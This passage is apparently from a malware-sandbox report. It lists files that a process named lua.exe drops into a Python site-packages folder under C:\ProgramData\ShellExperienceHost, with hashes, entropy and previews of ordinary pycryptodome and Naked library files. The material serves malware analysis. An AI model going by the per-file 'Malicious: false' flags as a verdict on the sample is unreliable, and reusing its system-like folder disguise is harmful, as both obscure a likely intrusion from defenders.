File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	933
Entropy (8bit):	4.777842095513583
Encrypted:	false
SSDEEP:	24:1RExEeWw8O8GLziQDqwhBhhB+OTlAavvsZPWJuL:8EeTLPqkVv+PiE
MD5:	577B9FD6612492C13AAD9D5FDC396C43
SHA1:	2840A5AE5DA3ADA506BC9E64F4FB1324C021FCA7
SHA-256:	83C6B0310C82B4193830D59B3DABE23544ACF53FF2B53E0F918F2E8DB01F7485
SHA-512:	67E8794F498344EBEE1F95351169355EA139AE6937E867B7716E7A06ECEB3AE30F430630370BE7B06F325434041D9581DFA3831FFBF5F67FF7F88AE24C2935F0
Malicious:	false
Preview:	from typing import Any, Optional, Union....def load_lib(name: str, cdecl: str) -> Any : .....def c_ulong(x: int ) -> Any : .....def c_ulonglong(x: int ) -> Any : .....def c_size_t(x: int) -> Any : .....def create_string_buffer(init_or_size: Union[bytes,int], size: Optional[int]) -> Any : .....def get_c_string(c_string: Any) -> bytes : .....def get_raw_buffer(buf: Any) -> bytes : .....def c_uint8_ptr(data: Union[bytes, memoryview, bytearray]) -> Any : .......class VoidPointer(object):.. def get(self) -> Any : ..... def address_of(self) -> Any : .......class SmartPointer(object):.. def __init__(self, raw_pointer: Any, destructor: Any) -> None : ..... def get(self) -> Any : ..... def release(self) -> Any : .......backend : str..null_pointer : Any..ffi: Any....def load_pycryptodome_raw_lib(name: str, cdecl: str) -> Any : .....def is_buffer(x: Any) -> bool : .....def is_writeable_buffer(x: Any) -> bool : .....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\_strxor.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	4.621368392164991
Encrypted:	false
SSDEEP:	96:5l8MdJTCaDAH37Belrzu1x/r8qJ7pfJsPG6QggfPPYdsDJ9UKvb:fTdJTlDmNelrzuLFf0QhP3DLU
MD5:	DB1F79A96A1390028DF325DD183FF9F1
SHA1:	8373B6C44FDBECE2C1EE5327A2BB5E5B0A719ED4
SHA-256:	6429928799A5EEA9E090224A2D7083B469892D725A28EA9DCC2A95F94286B0DA
SHA-512:	DAD71F250340E529883E3347E90E66A445641F019351E745940C6700145C6C923A9D5575EFAF42436823BD8F1DB44E9B00C99EB1CC41DC49425EA9DB9847590E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........mr..............t......,}.......g..............,}......,}......,}.......~.......~.......~.......~......Rich............................PE..d...z.!`.........." ................T........................................p............`..........................................&..t...d'..P....P.......@...............`..$....!...............................!..8............ ...............................text...x........................... ..`.rdata..0.... ......................@..@.data...H....0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc..$....`.......&..............@..B........................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\asn1.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	32680
Entropy (8bit):	4.4370822680300614
Encrypted:	false
SSDEEP:	384:p2eYt9DetUeh9+Ivu5HBKB19Asz9l3Uq3DIwES5LICXMJyhlx:pdY7SUAbvfmsz9l3Uq3MwES5LIt8hlx
MD5:	3BB14C7383F2F3C6444760B76C852325
SHA1:	C621709DF1E7E25A992CBF5EC2AFB01713987E51
SHA-256:	8978368501D757B6F16FAF5627223136E5E42E473F478440E57125F909C61803
SHA-512:	C1D998C9A7E668DA2617C5DDA6C905FEC6BFA86718BEE948BEAE39184452B8C48046DC44CD6480E0F68FE146B5806CAD4DC487CB994970635CBFD06A4ACD9660
Malicious:	false
Preview:	# -- coding: ascii --..#..# Util/asn1.py : Minimal support for ASN.1 DER binary encoding...#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\asn1.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3653
Entropy (8bit):	4.8308384454210085
Encrypted:	false
SSDEEP:	48:AfkaQKSpAbry3S0XQohX9K6zOeXRVRlXfwQ2t60NWjMfXtqTXnE8xPJzSMAJGFXr:Acab6fHhM1eXTTvwB60oof8THB+Jk7
MD5:	20A4EB43093BC6D39AE165B1E6CFA2D6
SHA1:	B97AA5C095C2D17F28CBCC987563F98A5105152E
SHA-256:	99A3004FDFDFFCC6C0A1B0855D1E1394879BD73AB01A26AD93B90F256A0BC58D
SHA-512:	AABF40B82524FFECBA5528EDAA396CDC2725678736CDD826183EDD1C76B473507A307FAFA0C3AD43EBCB217BD27F88D03956A5CA56C80254E95D34B537305ECF
Malicious:	false
Preview:	from typing import Optional, Sequence, Union, Set, Iterable....__all__ = ['DerObject', 'DerInteger', 'DerOctetString', 'DerNull',.. 'DerSequence', 'DerObjectId', 'DerBitString', 'DerSetOf']....# TODO: Make the encoded DerObjects their own type, so that DerSequence and..# DerSetOf can check their contents better....class BytesIO_EOF:.. def __init__(self, initial_bytes: bytes) -> None: ..... def set_bookmark(self) -> None: ..... def data_since_bookmark(self) -> bytes: ..... def remaining_data(self) -> int: ..... def read(self, length: int) -> bytes: ..... def read_byte(self) -> bytes: .......class DerObject:.. payload: bytes.. def __init__(self, asn1Id: Optional[int]=None, payload: Optional[bytes]=..., implicit: Optional[int]=None,.. constructed: Optional[bool]=False, explicit: Optional[int]=None) -> None: ..... def encode(self) -> bytes: ..... def decode(self, der_encoded: bytes, strict: Optional[bool]=False) -> DerObject: .......c

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\number.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	96299
Entropy (8bit):	4.057737271722569
Encrypted:	false
SSDEEP:	1536:Engg5QeQwBkknbkEEpeoc06BsJ7rajyCJrOiVDtT5U1464iPpAji6R449qVnSPt4:0g6krtNajhJrOs5uPqe6CJn6KEVama39
MD5:	7A48F557293382535FEBCAA5AA5FB025
SHA1:	B4D4E18EE3A3500F1A2ED0032CA93A1454FDB0AC
SHA-256:	992CEC16CBD53F4F55C0693A63788ED4E467833D1D95AE3F8789F52E74F92EB7
SHA-512:	0D8DBE9E8FE8BDA5C2AC3336FA2A2AB933F9C99D9DD760DE11480C097CAB532D948FF0EE743C04DFB2AD7246CCAD1F8BE30A00D29E7F1AB860D0179492E5D720
Malicious:	false
Preview:	#..# number.py : Number-theoretic functions..#..# Part of the Python Cryptography Toolkit..#..# Written by Andrew M. Kuchling, Barry A. Warsaw, and others..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\number.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.898132103946567
Encrypted:	false
SSDEEP:	24:1RE0x1JCvE59p+vE59eE59iLdUKhGnE597pcSpShFE59cSpShFE5vUyrfunVshdU:bxX7Z+crYnJescsje
MD5:	81227B5A65D7EF13CB0247C9B7225673
SHA1:	8954A181B5E8D7B31145E5C139935B9780E4D1EB
SHA-256:	6BD67E3A908997245FB373BC1C4971BAC0CFDD5FC17D4B7CDBD3F51AD6774AF1
SHA-512:	12F42616F440853BF94758392116879BE87073F515AE0C33454BFAC2D80140DE0FCC0469E34D8E06B42436A3EDEF4B5BE8D0E7C5EFCE413CE0F89041556CCA59
Malicious:	false
Preview:	from typing import List, Optional, Callable......def ceil_div(n: int, d: int) -> int: .....def size (N: int) -> int: .....def getRandomInteger(N: int, randfunc: Optional[Callable]=None) -> int: .....def getRandomRange(a: int, b: int, randfunc: Optional[Callable]=None) -> int: .....def getRandomNBitInteger(N: int, randfunc: Optional[Callable]=None) -> int: .....def GCD(x: int,y: int) -> int: .....def inverse(u: int, v: int) -> int: .....def getPrime(N: int, randfunc: Optional[Callable]=None) -> int: .....def getStrongPrime(N: int, e: Optional[int]=0, false_positive_prob: Optional[float]=1e-6, randfunc: Optional[Callable]=None) -> int: .....def isPrime(N: int, false_positive_prob: Optional[float]=1e-6, randfunc: Optional[Callable]=None) -> bool: .....def long_to_bytes(n: int, blocksize: Optional[int]=0) -> bytes: .....def bytes_to_long(s: bytes) -> int: .....def long2str(n: int, blocksize: Optional[int]=0) -> bytes: .....def str2long(s: bytes) -> int: .......sieve_base: List[int]..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\py3compat.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5309
Entropy (8bit):	4.9008763846376775
Encrypted:	false
SSDEEP:	96:WKYFQHvoA6pDLeAIeCGtFaVBS3eKQM4ks58WSHor34LPwAEx2pdDoUSpvJnaUua:W9QHvilIUwpK5l9Hoz4pdCvntua
MD5:	44D70AB2F0806DA4F96ACC589DEA3D9B
SHA1:	AC2D1B3D74E2D38C18B3881382A7C1920B137DF2
SHA-256:	FB3B8D3FBFD0C956653D43EF834CAD7DB60ABC7D0F52F49233B9EA6414E01170
SHA-512:	C2136F91EEF54663159EE420908FA6C90471165B0DCC058AE8B6A492C4FFB1C73D708226A9BB81DAECDFC464A2BEDA753D41933990040701374CD6FB0B01B5DF
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# Util/py3compat.py : Compatibility code for handling Py3k / Python 2.x..#..# Written in 2010 by Thorsten Behrens..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWA

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\py3compat.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	797
Entropy (8bit):	4.776758428407196
Encrypted:	false
SSDEEP:	24:1REgT3JtgPnrnIW9h3MnBbRFNU+Fuf4iEe1oHhASLjPMQ:pZtgMcUzUTtoBjLt
MD5:	42AE70646CD8F3CEF936DDAB0140DEA0
SHA1:	9F4A01B23A4ACFCF73336608DFDFE7F882905F39
SHA-256:	96B25FC9DE7190FB7C46C8871E436C36150F329B744B1E50B31794666ACD07B6
SHA-512:	A28650713F18CB4C09CE46552D8294544E93D9C3602EACE2E2006E2787FD101D7AEA8D2769DE2AFC0859F8F1C3BA19217B7B6D8481B6B31FBFC390C7105D337D
Malicious:	false
Preview:	from typing import Union, Any, Optional, IO....Buffer = Union[bytes, bytearray, memoryview]....import sys....def b(s: str) -> bytes: .....def bchr(s: int) -> bytes: .....def bord(s: bytes) -> int: .....def tobytes(s: Union[bytes, str]) -> bytes: .....def tostr(b: bytes) -> str: .....def bytestring(x: Any) -> bool: .......def is_native_int(s: Any) -> bool: .....def is_string(x: Any) -> bool: .......def BytesIO(b: bytes) -> IO[bytes]: .......if sys.version_info[0] == 2:.. from sys import maxint.. iter_range = xrange....else:.. from sys import maxsize as maxint.. iter_range = range....class FileNotFoundError:.. def __init__(self, err: int, msg: str, filename: str) -> None:.. pass....def _copy_bytes(start: Optional[int], end: Optional[int], seq: Buffer) -> bytes: .....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\strxor.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5255
Entropy (8bit):	4.7740917957604205
Encrypted:	false
SSDEEP:	96:MwDqrYJALrYJHdt3EHGuIWYIOuPwEjduqvdcXZCB94mNhv+Q:9qrskrs9t3q/IKPxwq+Juhr
MD5:	39C4258689F0D31AE5C48A954D0F69A2
SHA1:	92C8AE549947E3216C3EC969FEFCAC3184DDBB63
SHA-256:	7D71B663D870B1194E97BBCB6CF8B72DB50043C4B66CC14679DE627B1418D936
SHA-512:	F52E2B57BCDC5ADD00CB5EAD26479A108FD07B263E6BD26A7F274BA4FB133106DC1CCD9607EC4B63FC78D087EFDFCB0A22A0433276ACC25AD9D232FE8A17CF83
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\strxor.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	249
Entropy (8bit):	4.800678842548869
Encrypted:	false
SSDEEP:	6:1REYBXyUzrIY3MTDyQdQAY0OXW6ah05gUQdByKj0ah05gv:1REYB3vIY3YyQnrOXAh05VQ6KZh05q
MD5:	81C7899ED070F1D26338977374A4B853
SHA1:	2627B47DA19BB2F2B8E7D25A5A57473C00C86550
SHA-256:	CA7D073C74998CFFB501A2E6E1C99AF62F49272A5FDFB3527769E2A632DFE1A0
SHA-512:	CF5299A774C61A0F84D6E1E4233F426CC9D854D809EEF0D6B1158EC0078E75C54C3141E835DC3D0F376B53EFB8DDE462B49B0A5093C63613B332617966F34D0C
Malicious:	false
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....def strxor(term1: bytes, term2: bytes, output: Optional[Buffer]=...) -> bytes: .....def strxor_c(term: bytes, c: int, output: Optional[Buffer]=...) -> bytes: .....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	189
Entropy (8bit):	4.801445307693507
Encrypted:	false
SSDEEP:	3:UFo+CmMRJ4ZdK0CJOAlFGCJ7DkCAZFBVC5uQLCY3qUX7vRqvljhfxXFqYLULEov:UvZdK0pAlV/kCAZ4sdyr8ljZRFqI5ov
MD5:	29C14110E4F581AC6E37AE7C9C49AC3C
SHA1:	812A19016C87AED19C31992CD55A7FA777C16625
SHA-256:	CB66D54A589E28C08226A3155AAD14972C122B8099A27A31B11B277B69E7F222
SHA-512:	1BCC03A5B459D1D7A0688B7275361D3E9BD6ECC0837C1A6EEEAC6FAFF67C05258612CD44781F85963309CD53DB3CADB4C3055C44EB678DBED5ACB7E8FE8614A7
Malicious:	false
Preview:	__all__ = ['Cipher', 'Hash', 'Protocol', 'PublicKey', 'Util', 'Signature',.. 'IO', 'Math']....version_info = (3, 10, 1)....__version__ = ".".join([str(x) for x in version_info])..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\__init__.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	103
Entropy (8bit):	4.320003818965119
Encrypted:	false
SSDEEP:	3:1REvgBk8J0fWQLCfcJAOLRL+2MliHovcoFQy:1REYBb0fWpcFY2MtJN
MD5:	BF77DB2C18C7E4E3E80EA7D09C2D8336
SHA1:	682ADC1869A615EBC5152E303D7F10C9DF4800C1
SHA-256:	748D33339311187C619DF8EAA40C8F1A8B4A4EB3E59DE4CDD90FA30105CD8351
SHA-512:	ADD512240AB6D99FF0B4871C7F96849267CCB8CD5BE8BAB86579D5599434266F1C4C290DF395526C694110BDD67DCDA6970CEF39416AB87798AC78914AD87EB7
Malicious:	false
Preview:	from typing import Tuple, Union....version_info : Tuple[int, int, Union[int, str]]..__version__ : str..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked-0.1.31.dist-info\DESCRIPTION.rst Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	1450
Entropy (8bit):	4.782658817733709
Encrypted:	false
SSDEEP:	24:KUjHIlBVB+0uljRGRYkgJ+R7r8jY+R9jY+Rf6e03fh48jBj+aImughp2TR811wn1:5I00uKSu7r9uauf6e8fmeugSTgxWhI+v
MD5:	4805DE472D713215065C50493C83D7BA
SHA1:	7EE2FB1EED55AA11DBD3366CA6FAEF85E277C9FC
SHA-256:	DBA4B943003355D2D1BEF826F59B057B656C1767FAC726C692540432DD13D39B
SHA-512:	67841600CD5E2DB5BFCFFC645F2D94A1C0CB2813F923B3FF188281FE4DF5EA82E5E1946D40A235EF78BF1E9AEA965B5C806886D3B0C6FE312364587921EAB30A
Malicious:	false
Preview:	About.------..`Naked <http://naked-py.com>`_ is a new Python command line application framework that is in development. The current release is a stable, testing release...Updates.--------..Changes, updates, and brief tutorials are available on the `developer log <http://nakedpy.wordpress.com/>`_...QuickStart Guide.------------------..The quickstart guide is available at `http://docs.naked-py.com/quickstart.html <http://docs.naked-py.com/quickstart.html>`_. It demonstrates how the available tools can be incorporated into your development workflow, spanning the entire period from an empty project directory to your first PyPI version release...Documentation.--------------..Documentation is in development at `http://docs.naked-py.com/ <http://docs.naked-py.com/>`_..Issue Reporting.----------------..Issue reporting is available on the `GitHub repository <http://github.com/chrissimpkins/naked/issues>`_..Contribute.-----------..I would greatly appreciate feedback from anyone who is testing t

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked-0.1.31.dist-info\INSTALLER Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked-0.1.31.dist-info\METADATA Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	2341
Entropy (8bit):	4.937070056970247
Encrypted:	false
SSDEEP:	48:Dba9cCQILjwiaa213SfI00uKSu7r9uauf6e8fmeugSTgxWhI+pgsb:DbaFQILjjaa213SfIMC+9gwgxWV
MD5:	349C373F487AE4CCDC2B736940C4F8A3
SHA1:	311CFDAA77FAAC58ABD48C4BEC473A0063325F6F
SHA-256:	CFB216025302DDE22535CF11956C49D5F7AE0E176542DCE204E5D7CDC64AF9CF
SHA-512:	AB6EF18B90DC93B9299D20FE86A3490C5A220970984BE51D0BDDE9454DFFAB6FE099D16C679D6CB3CA31B1AB0E4469ED47310278A36E22CB8B614CB63C365A1A
Malicious:	false
Preview:	Metadata-Version: 2.0.Name: Naked.Version: 0.1.31.Summary: A command line application framework.Home-page: http://naked-py.com.Author: Christopher Simpkins.Author-email: chris@zerolabs.net.License: MIT.Keywords: python,command line,system,application,framework,CLI.Platform: any.Classifier: Intended Audience :: Developers.Classifier: Natural Language :: English.Classifier: License :: OSI Approved :: MIT License.Classifier: Operating System :: OS Independent.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 2.Classifier: Programming Language :: Python :: 2.6.Classifier: Programming Language :: Python :: 2.7.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3.3.Classifier: Topic :: Software Development :: Libraries :: Python Modules.Requires-Dist: Naked.Requires-Dist: requests.Requires-Dist: pyyaml..About.------..`Naked <http://naked-py.com>`_ is a new Python command line application framework that is in de

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked-0.1.31.dist-info\RECORD Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	8506
Entropy (8bit):	5.757592734945533
Encrypted:	false
SSDEEP:	96:shCXL7JMbQJQx87gKWjvVTjwBwOPfA3CtkOJ6JpoBAKkMuaKoaGuza1KJYRvnw0D:sUX/Ii5MElhlrqqb6G8QDfV9lWqx
MD5:	EE6F98D07B1603AF557CE9E2A006BDE5
SHA1:	7E033FC54B005B2B13DA9F5381802B94167AE5EF
SHA-256:	DEE6579D71E815188F9724C085DB7C1BC0245D5C444D53CA878C317C8C20437D
SHA-512:	1F3AB92556FE5EC56A67F2F6A778BE1818EE1CBD17D712EECC8D4EE21D57A73F4362A81C281A8670BFFB67DEB5DE45C029414651548680CB4976B7D7BEA5B196
Malicious:	false
Preview:	../../Scripts/naked.exe,sha256=VDRGF5lRU8Gw54MG10OPfmFh79uKBjRynrHwzFqGtPk,97117..Naked-0.1.31.data/scripts/naked,sha256=Ps1mufxMkBG7wwaJHQ_nkMwOrPP1hTZLDH7YMNO4Y2E,285..Naked-0.1.31.dist-info/DESCRIPTION.rst,sha256=26S5QwAzVdLRvvgm9ZsFe2VsF2f6xybGklQEMt0T05s,1450..Naked-0.1.31.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..Naked-0.1.31.dist-info/METADATA,sha256=z7IWAlMC3eIlNc8RlWxJ1feuDhdlQtziBOXXzcZK-c8,2341..Naked-0.1.31.dist-info/RECORD,,..Naked-0.1.31.dist-info/WHEEL,sha256=SXYYsi-y-rEGIva8sB8iKF6bAFD6YDhmqHX5hI3fc0o,110..Naked-0.1.31.dist-info/entry_points.txt,sha256=-7nL8pc5fnKhIUINYqLDa1jd3y-8jynn9u5qF9EyjqU,42..Naked-0.1.31.dist-info/pydist.json,sha256=cSetsKYPMVxYIilVGZD_wtke5QtnHkWmKGTF5uDSV10,1119..Naked-0.1.31.dist-info/top_level.txt,sha256=CG1yk0vViILO5nUzrfUqtOs-0IAsZBY1zLFGi3O-SCc,6..Naked/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..Naked/__pycache__/__init__.cpython-37.pyc,,..Naked/__pycache__/app.cpython-37.pyc,,..Naked

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked-0.1.31.dist-info\WHEEL Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	110
Entropy (8bit):	4.785061497991155
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVjxHgP+tPCCf7irO5S:RtBMwlVGWBBwt
MD5:	A4A3A622FAA824BBD758CCB989476EEE
SHA1:	7615CC94B973330EEE22866067A10795F145E49F
SHA-256:	497618B22FB2FAB10622F6BCB01F22285E9B0050FA603866A875F9848DDF734A
SHA-512:	DC743B0D0C89E1693BC8B244812E440ED89EB600FAB26164E5BD351C91EF14B0DBA1119AB911EB99096D8E4C5171C126B68D3E56FE224F94B5CE7627DF6E8B68
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.22.0).Root-Is-Purelib: true.Tag: py2-none-any.Tag: py3-none-any..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked-0.1.31.dist-info\entry_points.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.350068910616443
Encrypted:	false
SSDEEP:	3:1LEZvTlLn:1Lgh
MD5:	32D1BFD76B5E9AD48FC021E5A2D4A6F8
SHA1:	644398ACB547E93FA3DA70690E45E77935E8CDB6
SHA-256:	FBB9CBF297397E72A121420D62A2C36B58DDDF2FBC8F29E7F6EE6A17D1328EA5
SHA-512:	4A2135AE0C7942FF5782CB82F0DB6DF1A8FAD36EC9188EA82C2600EEA016A8F758671955D695E35B36460E7566AE38ECDEC893323EDB02EFDA49F4205E84E120
Malicious:	false
Preview:	[console_scripts].naked = Naked.app:main..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked-0.1.31.dist-info\pydist.json Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	4.900619869046922
Encrypted:	false
SSDEEP:	24:Y+QDTtJ+J1xa7jWlXlBJj4J1CvtQgDs3IKLtqLZftULZft0LZftbLZft7LZftMAH:Y+QDf+7xaPWnag7oInooffh13Ii
MD5:	460789FC46CEAE6085BEA8DD87AE2393
SHA1:	3E02AA378AE1E7EB6C61FBB86ABA212097FDB4B9
SHA-256:	7127ADB0A60F315C582229551990FFC2D91EE50B671E45A62864C5E6E0D2575D
SHA-512:	3E99D050D10CF434DA2AEA4FE7E8FDAF9BD1BC9C5C3E5469A2A40F6969E51D340019A8CEDC96897FED3D573822561FBC76D018E8471DC7C69A8F54FB2C528AB1
Malicious:	false
Preview:	{"license": "MIT", "exports": {"console_scripts": {"naked": "Naked.app:main"}}, "document_names": {"description": "DESCRIPTION.rst"}, "name": "Naked", "metadata_version": "2.0", "contacts": [{"role": "author", "email": "chris@zerolabs.net", "name": "Christopher Simpkins"}], "generator": "bdist_wheel (0.22.0)", "commands": {"wrap_console": {"naked": "Naked.app:main"}}, "summary": "A command line application framework", "project_urls": {"Home": "http://naked-py.com"}, "platform": "any", "run_requires": [{"requires": ["Naked", "requests", "pyyaml"]}], "version": "0.1.31", "keywords": "python,command line,system,application,framework,CLI", "classifiers": ["Intended Audience :: Developers", "Natural Language :: English", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Programming Language :: Python", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.6", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3",

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked-0.1.31.dist-info\top_level.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6
Entropy (8bit):	2.584962500721156
Encrypted:	false
SSDEEP:	3:S:S
MD5:	08F6E30758BDAAE5F538C2881752E29B
SHA1:	7B70829F46B321D127577E3CFE1A5B29BA9345C2
SHA-256:	086D72934BD58882CEE67533ADF52AB4EB3ED0802C641635CCB1468B73BE4827
SHA-512:	9B0FA39AF650A7A12FC9B4F1D8E07D23DB630EF2331A1B677D1C431B30739A0A8FD2DEC2A4ABAF9956AAF7E2F55ED218C94AA2498F8DF6BE7464DB7FB323D37D
Malicious:	false
Preview:	Naked.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\app.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	11880
Entropy (8bit):	4.122442726841868
Encrypted:	false
SSDEEP:	192:RI77+UJ1nnVfmqljg2LhnPsrhxOic/XdK6RcGTM:RY7+Y1nnVf1DBux8XdKn
MD5:	827A3913890D00A00689FC221DE22246
SHA1:	ED74386A218C562CA9091B8A6AAEBEBEF01A2912
